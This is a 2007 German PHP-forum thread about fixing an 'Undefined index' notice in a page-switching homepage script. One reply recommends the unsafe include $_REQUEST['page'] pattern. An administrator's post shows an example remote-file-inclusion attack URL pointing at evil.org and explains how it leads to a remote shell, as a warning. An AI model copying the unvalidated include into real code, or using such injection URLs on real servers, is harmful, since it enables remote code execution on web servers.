Vorheriges Thema anzeigen :: Nächstes Thema anzeigen |
Autor |
Nachricht |
The real Agent D

Anmeldungsdatum: 24.11.2005 Beiträge: 605 Wohnort: Hall i. T.
|
Verfasst am: 08.01.2007, 18:23 Titel: HTML, PHP-Umstellung, Wo liegt hier der Fehler? |
|
|
Hi,
ich versuche seit längerem meine HP von HTML auf PHP umzustellen. Blöderweiße bekomme ich immer wieder folgende Fehlermeldung:
Code: |
Notice: Undefined index: page in /usr/export/www/hosting/yenware/index.php on line 18
|
Hier mal der Code:
Code: |
<?php
error_reporting(E_ALL);
echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n";
echo "<html>\n";
echo "<head>\n";
echo " <title>The real Agent D's Homepage - Die offizielle ¥-WARE Homepage</title>\n";
echo " <link rel=\"stylesheet\" type=\"text/css\" href=\"strucktur.css\" />\n";
echo " <meta http-equiv=\"Content-Type\" content=\"text/html\; charset=iso-8559-1\">\n";
echo " <meta name=\"description\" content=\"Alles mögliche über QB, QBASIC, FB(FreeBASIC), BASCOM, AVRs, und so weiter,...\">\n";
echo " <meta name=\"keywords\" content=\"QBasic,QBASIC,QB,QuickBasic,BASCOM,AVR,Tutorials,Downloads,Elektronik,HV,Forum\">\n";
echo " <meta name=\"author\" content=\"The real Agent D\">\n";
echo "</head>\n";
echo "<body>\n";
echo " <div id=\"links\">\n";
include "http://yenware.ye.ohost.de/pages/Navigation.php";
echo " </div>\n";
echo " <div id=\"mitte\">\n";
switch($_GET['page']) {
case "avr":
include "http://yenware.ye.ohost.de/pages/avr.php";
break;
case "bascom":
include "http://yenware.ye.ohost.de/pages/bascom.php";
break;
case "asm":
include "http://yenware.ye.ohost.de/pages/asm.php";
break;
case "cap":
include "http://yenware.ye.ohost.de/pages/cap.php";
break;
case "ctrl":
include "http://yenware.ye.ohost.de/pages/ctrl.php";
break;
case "news":
include "http://yenware.ye.ohost.de/pages/Hauptseite.php";
break;
case "HVN":
include "http://yenware.ye.ohost.de/pages/HVN.php";
break;
case "kb":
include "http://yenware.ye.ohost.de/pages/kb.php";
break;
case "Kontakt":
include "http://yenware.ye.ohost.de/pages/Kontakt.php";
break;
case "Links":
include "http://yenware.ye.ohost.de/pages/Links.php";
break;
case "marxg":
include "http://yenware.ye.ohost.de/pages/marxg.php";
break;
case "qbd":
include "http://yenware.ye.ohost.de/pages/qbd.php";
break;
case "qbt":
include "http://yenware.ye.ohost.de/pages/qbt.php";
break;
case "Tesla":
include "http://yenware.ye.ohost.de/pages/Tesla.php";
break;
case "ukw":
include "http://yenware.ye.ohost.de/pages/ukw.php";
break;
case "yen1":
include "http://yenware.ye.ohost.de/pages/yen1.php";
break;
case "Forum":
include "http://yenware.ye.ohost.de/pages/Forum/index.php";
break;
case "chat":
include "http://yenware.ye.ohost.de/chat/index.php";
break;
case "gb":
include "http://yenware.ye.ohost.de/pages/index.php";
break;
default:
include "http://yenware.ye.ohost.de/pages/Hauptseite.php";
break;
}
echo " </div>\n";
echo " <br style=\"clear:both;\" />\n";
echo " </div>\n";
echo "</body>\n";
echo "</html>\n";
?> |
|
|
Nach oben |
|
 |
A.K.

Anmeldungsdatum: 02.05.2005 Beiträge: 467 Wohnort: HH
|
Verfasst am: 08.01.2007, 18:29 Titel: |
|
|
Hi,
hab den Titel mal ein wenig geändert.
2 Möglichkeiten:
1. Versuche mal die URL in Klammern zu setzen, also include ("http...");
2. Es kann sein das dein Hoster es nicht erlaubt "externe" Datei zu includieren. Abhilfe ist ein relativer Pfad alias include ("pages/Navigation.php");
MFG A.K. _________________
http://forum.IconSoft.de
http://www.pnpbb.de - hol dir jetzt dein eigenes kostenloses Forum *NEU* |
|
Nach oben |
|
 |
Jojo alter Rang

Anmeldungsdatum: 12.02.2005 Beiträge: 9736 Wohnort: Neben der Festplatte
|
Verfasst am: 08.01.2007, 20:29 Titel: Re: HTML, PHP-Umstellung, Wo liegt hier der Fehler? |
|
|
The real Agent D hat Folgendes geschrieben: | Code: |
Notice: Undefined index: page in /usr/export/www/hosting/yenware/index.php on line 18
|
|
Eigentlich hätte dann ja auch Zeile 18 (oder noch alles davor) gereicht...
Btw: Also WENN du schon unbedingt php verwenden möchtest, empfehle ich dir herzlichst, keine abfragen für seiten in deinem stil zu machen.
viel shcöner ist doch etwas wie
include $_REQUEST['page'] . ".php";  _________________ » Die Mathematik wurde geschaffen, um Probleme zu lösen, die es nicht gäbe, wenn die Mathematik nicht erschaffen worden wäre.
 |
|
Nach oben |
|
 |
MisterD

Anmeldungsdatum: 10.09.2004 Beiträge: 3071 Wohnort: bei Darmstadt
|
Verfasst am: 09.01.2007, 00:01 Titel: |
|
|
jo aber sowas von ungesund
das problem ist, dass eben $_GET['page'] nicht existiert beim ersten seitenaufruf. du könntest vor dem switch() eine zueile ergänzen in etwa
if(!isset($_GET['page'])) $_GET['page']='';
bei isset wird geprüft ob der wert existiert (folglich gibts dabei auch kenie fehlermeldung) und wenn nicht wird er einfach auf "leer" gesetzt.
/edit: Aber in gewisser art hat jojo recht, die beste methode wäre vielleicht sogar sowas:
if(in_array($_GET['page'], array('avr', 'bascom', ...'))){include $_GET['page'].'.php';
(auch hier die zeile von oben drüber davorsetzen) _________________ "It is practically impossible to teach good programming to students that have had a prior exposure to BASIC: as potential programmers they are mentally mutilated beyond hope of regeneration."
Edsger W. Dijkstra |
|
Nach oben |
|
 |
dreael Administrator

Anmeldungsdatum: 10.09.2004 Beiträge: 2529 Wohnort: Hofen SH (Schweiz)
|
Verfasst am: 09.01.2007, 09:14 Titel: |
|
|
A.K. hat Folgendes geschrieben: | 2. Es kann sein das dein Hoster es nicht erlaubt "externe" Datei zu includieren. |
Sollte man auch nicht zulassen. Vielfach verwenden DAU-PHP-Programmierer eine Variable für die zu includende Datei, welche aus einem $_GET[]-Element berechnet wird. Und wenn dann tatsächlich
Code: | include($_GET["seite"]); |
im Code vorkommt, kann ein Angreifer durch Aufruf als
Code: | http://www.daus-homepage.de/php/vulnerable.php?seite=http://www.evil.org/MyMalwarecode.txt |
frisch und fröhlich fremden PHP-Code einschmuggeln, was im Falle, wenn noch system() zugelassen wird, sofort eine vollwertige Remote Shell mit den Rechten des "wwwrun"-Benutzers gibt, womit zur Eroberung des Webservers nur noch ein "Local privilege escalation"-Exploit noch angewendet werden muss. => Schachmatt für den Webserver. _________________ Teste die PC-Sicherheit mit www.sec-check.net |
|
Nach oben |
|
 |
Jojo alter Rang

Anmeldungsdatum: 12.02.2005 Beiträge: 9736 Wohnort: Neben der Festplatte
|
Verfasst am: 09.01.2007, 15:03 Titel: |
|
|
MisterD hat Folgendes geschrieben: | jo aber sowas von ungesund
das problem ist, dass eben $_GET['page'] nicht existiert beim ersten seitenaufruf. du könntest vor dem switch() eine zueile ergänzen in etwa
if(!isset($_GET['page'])) $_GET['page']='';
bei isset wird geprüft ob der wert existiert (folglich gibts dabei auch kenie fehlermeldung) und wenn nicht wird er einfach auf "leer" gesetzt.
/edit: Aber in gewisser art hat jojo recht, die beste methode wäre vielleicht sogar sowas:
if(in_array($_GET['page'], array('avr', 'bascom', ...'))){include $_GET['page'].'.php';
(auch hier die zeile von oben drüber davorsetzen) |
ist natürlich schon klar, dass man z.B. den seitenaufruf nicht erluaben sollte, wenn z.B: ein \, / oder sontiges unlässiges zeichen in die variable reinlässt. ist IMHO ziemlich sichher. weil so kann wirkich nur sieten aufrufen, die sich im seitenverzeichnis befinden. _________________ » Die Mathematik wurde geschaffen, um Probleme zu lösen, die es nicht gäbe, wenn die Mathematik nicht erschaffen worden wäre.
 |
|
Nach oben |
|
 |
MisterD

Anmeldungsdatum: 10.09.2004 Beiträge: 3071 Wohnort: bei Darmstadt
|
Verfasst am: 09.01.2007, 18:43 Titel: |
|
|
ich meinte $_REQUEST kann recht ungesund werden, da man Session-variablen über die GET-parameter vortäuschen könnte, sollte man sich lieber nicht angewöhnen. _________________ "It is practically impossible to teach good programming to students that have had a prior exposure to BASIC: as potential programmers they are mentally mutilated beyond hope of regeneration."
Edsger W. Dijkstra |
|
Nach oben |
|
 |
The real Agent D

Anmeldungsdatum: 24.11.2005 Beiträge: 605 Wohnort: Hall i. T.
|
Verfasst am: 10.01.2007, 18:31 Titel: |
|
|
Erst mal Danke für alle Anworten.
Ich habe die http://yenware.ye.ohost.de/... Zeilen weggelöscht. Ich hab noch dieses if(!isset($_GET['page'])) $_GET['page']=''; Hinzugefügt. Es funtzt jetzt. Jetzt wird mir ein Fehler in der Navigation.php angezeigt.
mfg
The real Agent D |
|
Nach oben |
|
 |
MisterD

Anmeldungsdatum: 10.09.2004 Beiträge: 3071 Wohnort: bei Darmstadt
|
Verfasst am: 10.01.2007, 20:35 Titel: |
|
|
semikolon nach der letzten zeile vor besagtem echo (zeile 13) vergessen  _________________ "It is practically impossible to teach good programming to students that have had a prior exposure to BASIC: as potential programmers they are mentally mutilated beyond hope of regeneration."
Edsger W. Dijkstra |
|
Nach oben |
|
 |
Jojo alter Rang

Anmeldungsdatum: 12.02.2005 Beiträge: 9736 Wohnort: Neben der Festplatte
|
Verfasst am: 10.01.2007, 20:54 Titel: |
|
|
...der wohl häufigste php-fehler  _________________ » Die Mathematik wurde geschaffen, um Probleme zu lösen, die es nicht gäbe, wenn die Mathematik nicht erschaffen worden wäre.
 |
|
Nach oben |
|
 |
MisterD

Anmeldungsdatum: 10.09.2004 Beiträge: 3071 Wohnort: bei Darmstadt
|
Verfasst am: 11.01.2007, 01:25 Titel: |
|
|
ich glaub der häufigste fehler ist eher if($a="hallo")  _________________ "It is practically impossible to teach good programming to students that have had a prior exposure to BASIC: as potential programmers they are mentally mutilated beyond hope of regeneration."
Edsger W. Dijkstra |
|
Nach oben |
|
 |
Sebastian Administrator

Anmeldungsdatum: 10.09.2004 Beiträge: 5969 Wohnort: Deutschland
|
Verfasst am: 11.01.2007, 11:46 Titel: |
|
|
Also ich vergess auch das Semikolon am häufigsten, aber das findet man ja dank Fehlermeldung mit Zeilenangabe in php zum Glück schnell. An die Unterscheidung zwischen Vergleichs- und Zuweisungsoperator muss man sich als BASIC-Programmierer halt erst mal gewöhnen, aber wenn man's ein paar mal gemacht hat, hat man's imho verinnerlicht.  _________________
Die gefährlichsten Familienclans | Opas Leistung muss sich wieder lohnen - für 6 bis 10 Generationen! |
|
Nach oben |
|
 |
MisterD

Anmeldungsdatum: 10.09.2004 Beiträge: 3071 Wohnort: bei Darmstadt
|
Verfasst am: 11.01.2007, 14:47 Titel: |
|
|
ich glaub letzendlich bleiben aber mehr davon übrig.. die semikolon-fehler bekommt man ja gesagt, bei dem = kommt einfach immer true raus wenn man nicht grade 0, "0", "", "false", false oder alles was sonst noch dahin evauliert zuweist.. _________________ "It is practically impossible to teach good programming to students that have had a prior exposure to BASIC: as potential programmers they are mentally mutilated beyond hope of regeneration."
Edsger W. Dijkstra |
|
Nach oben |
|
 |
Flo aka kleiner_hacker
Anmeldungsdatum: 23.06.2006 Beiträge: 1210
|
Verfasst am: 11.01.2007, 16:51 Titel: |
|
|
[OT] hehe passiert mir ständig in cpp...
obwohl ich damit angefanbgen hab
aber seit qb vergess ich auch noich das semikolon.  _________________ MFG
Flo
Satoru Iwata: Wer Spaß am Spielen hat, fragt nicht nach Grafik.
zum korrekten Verstaendnis meiner Beitraege ist die regelmaessige Wartung des Ironiedetektors unerlaesslich. |
|
Nach oben |
|
 |
Jojo alter Rang

Anmeldungsdatum: 12.02.2005 Beiträge: 9736 Wohnort: Neben der Festplatte
|
Verfasst am: 11.01.2007, 20:32 Titel: |
|
|
mir passierts im gegenteil schon oft,dass ich c-like in basic schreibe aber mit dem = hat misterD recht, da sucht man oft vergebens nach dem fehler. außerdem vergesse ich in if-abfragen gerne mal das $ vor variablen (komisch, sonst vergesse ich es nie...) und trotz syntax highlighter finde ich den fehler net  _________________ » Die Mathematik wurde geschaffen, um Probleme zu lösen, die es nicht gäbe, wenn die Mathematik nicht erschaffen worden wäre.
 |
|
Nach oben |
|
 |
|